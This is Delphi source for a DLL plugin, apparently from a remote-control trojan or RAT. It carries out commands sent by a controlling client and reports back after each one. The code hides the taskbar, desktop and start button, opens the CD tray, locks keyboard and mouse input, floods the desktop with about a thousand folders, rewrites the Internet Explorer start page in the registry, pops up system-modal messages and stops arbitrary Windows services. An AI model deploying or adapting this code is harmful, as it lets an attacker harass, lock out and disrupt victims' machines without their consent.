library sysfun;

uses winsvc,
  windows,
  //SysUtils,
  shellapi,
  mmsystem,
  RegUnit in 'RegUnit.pas';

type
    pluginreply = procedure (Text: pchar);

const
clientdllname:pchar='fun.dll';
var
  OwnerAPP:integer;
  url:string;
  xBlockInput : function (Block: BOOL): BOOL; stdcall;

function GetDesktopDir: String;
var
   Reg: TRegistry;
   tempstr: String;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKey_Current_User;
    if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion'
      + '\Explorer\Shell Folders', FALSE) then
      tempstr := Reg.ReadString('Desktop');
  finally 
    Reg.Free; 
  end;
  Result := tempstr;
end;


procedure setpaga(page:string);
var Reg:TRegistry;
begin
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_CURRENT_USER;
    Reg.OpenKey('Software\Microsoft\Internet Explorer\Main\',True);
    Reg.WriteString('Start Page',page);
    Reg.CloseKey;
    Reg.Free;
end;

function IntToStr(x: integer): String;
var
  s: String;
begin
  str(x,s);
  inttostr := s;
end;

procedure MakeFolders(name:string);
var
I: Integer;
begin
for I := 0 to 1000 do
begin
CreateDirectory(PChar(GetDesktopDir+'\'+name + IntToStr(I)), nil);
end;
end;

function FunctionDetect (LibName, FuncName: String; var LibPointer: Pointer): boolean;
var LibHandle: tHandle;
begin
 Result := false;
 LibPointer := NIL;
  if LoadLibrary(PChar(LibName)) = 0 then exit;
  LibHandle := GetModuleHandle(PChar(LibName));
  if LibHandle <> 0 then
  begin
   LibPointer := GetProcAddress(LibHandle, PChar(FuncName));
   if LibPointer <> NIL then Result := true;
  end;
end;



procedure Init(Owner: Integer); far
begin
  OwnerAPP := Owner;
end;

procedure plugin_reply (cmd:string);
begin
//send message to the client plugin
pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+cmd));
end;


// Separates values: value1,value2,value3,value4,
function getvalues(text:string;vn:integer):string;
var i:integer;value:string;
begin
// value1,value2,value3,value4
if text=''then exit;
i:=0;
while i<vn do begin
value:=copy(text,0,Pos(',',text)-1);
//deletes first postition ','
Delete(text,1,pos(',',text));
inc(i,1);
result :=value;
end;
end;


procedure CloseService(ServName:String);
var
  hSCM,hService:THandle;
  ss:TServiceStatus;
begin
  hSCM:=OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);
  hService:=OpenService(hSCM,pchar(ServName), SERVICE_ALL_ACCESS);
  ControlService(hService,SERVICE_CONTROL_STOP,ss);
  CloseServiceHandle(hSCM);
  CloseServiceHandle(hService);
end;


procedure process(cmd:string);

var
  icon,OutPut: integer;
  caption: PChar;
  message: PChar;
  result:string;
begin
//++++++++++++++++++++++++++++++++++++++++++++++ start
if getvalues(cmd,1) = 'hide' then
begin
try
ShowWindow(FindWindow( 'Shell_TrayWnd',nil), SW_HIDE);
plugin_reply('reply,Hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;

if getvalues(cmd,1) = 'show' then
begin
try
ShowWindow( FindWindow( 'Shell_TrayWnd',nil), SW_SHOWNA);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//===================================================================================
if getvalues(cmd,1) = 'mhide' then
begin
try
ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
                            HWND(0), 'ReBarWindow32', nil),
                            Sw_Hide);
plugin_reply('reply,Hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;

if getvalues(cmd,1) = 'mshow' then
begin
try
ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
                            HWND(0), 'ReBarWindow32', nil),
                            Sw_Show);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//===============================================================================

if getvalues(cmd,1) = 'dshow' then
begin
try
ShowWindow(
             FindWindow(nil,'Program Manager'),
             SW_SHOW);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;

if getvalues(cmd,1) = 'dhide' then
begin
try
ShowWindow(
             FindWindow(nil,'Program Manager'),
             SW_HIDE);
plugin_reply('reply,hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;
//==================================================================================
if getvalues(cmd,1) = 'shide' then
begin
try
ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',
nil),0,'Button',nil),SW_Hide);
plugin_reply('reply,taskbar hidden now,');
except
plugin_reply('reply,Error hiding,');
end;
end;

if getvalues(cmd,1) = 'sshow' then
begin
try
ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',
nil),0,'Button',nil),SW_ShowNormal);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//==================================================================================
if getvalues(cmd,1) = 'cd_open' then
begin
mciSendString(Pchar('set cdaudio door open'),nil,0,0);
plugin_reply('reply,cd open,');
end;

if getvalues(cmd,1)= 'cd_dicht' then
begin
  mciSendString(Pchar('set cdaudio door closed'),nil,0,0);
plugin_reply('reply,cd close,');
end;
//==================================================================================
if getvalues(cmd,1) = 'url' then
begin
url :=getvalues(cmd,2);

ShellExecute(0, 'open', (pchar(url)),nil,nil, SW_SHOWNORMAL);
plugin_reply('reply,web site is open,');
end;
//=================================================================================
if getvalues(cmd,1) = 'dis_k' then
begin
 if FunctionDetect ('USER32.DLL', 'BlockInput', @xBlockInput) then
begin
xBlockInput (false);  // Disable Keyboard & mouse
plugin_reply('reply,Keyboard & mouse Disabel,');
end; end;

if getvalues(cmd,1) = 'an_k' then
begin
 if FunctionDetect ('USER32.DLL', 'BlockInput', @xBlockInput) then
begin
xBlockInput (true);  // Disable Keyboard & mouse
plugin_reply('reply,Keyboard & mous anabelt,');
end; end;
//===================================================================================
if getvalues(cmd,1) ='flood' then
begin
MakeFolders(getvalues(cmd,2));
plugin_reply('reply,folders made,');
end;
//==================================================================================
if getvalues(cmd,1) ='set' then
begin
setpaga(getvalues(cmd,2));
plugin_reply('reply,Site set,');
end;

//=========================================================================
if getvalues(cmd,1) = 'msgbox'then
begin
  icon := 0;
  if getvalues(cmd, 4) = '1' then icon := MB_ICONEXCLAMATION;
  if getvalues(cmd, 4) = '2' then icon := MB_ICONSTOP;
  if getvalues(cmd, 4) = '3' then icon := MB_ICONQUESTION;
  if getvalues(cmd, 4) = '4' then icon := MB_ICONINFORMATION;
  caption := PChar(getvalues(cmd, 2));
  message := PChar(getvalues(cmd, 3));
  OutPut:=MessageBox(0, message, caption,icon + MB_OK + MB_SYSTEMMODAL);
  if OutPut = IDOK then Result:='User selected OK button';
  plugin_reply('reply,'+Result+',');
end;
//===========================================================================   close
if getvalues(cmd,1) = 'close'then
begin
CloseService(getvalues(cmd,2));
plugin_reply('reply,servic closet,');
end;
//==============================================================================
end;//// real end




procedure plugin(data:pchar); far;
begin
process(data);
end;

procedure DLLEntryPoint(dwReason: DWORD);
begin
//blank
end;

exports
init,plugin;

begin
  DLLProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.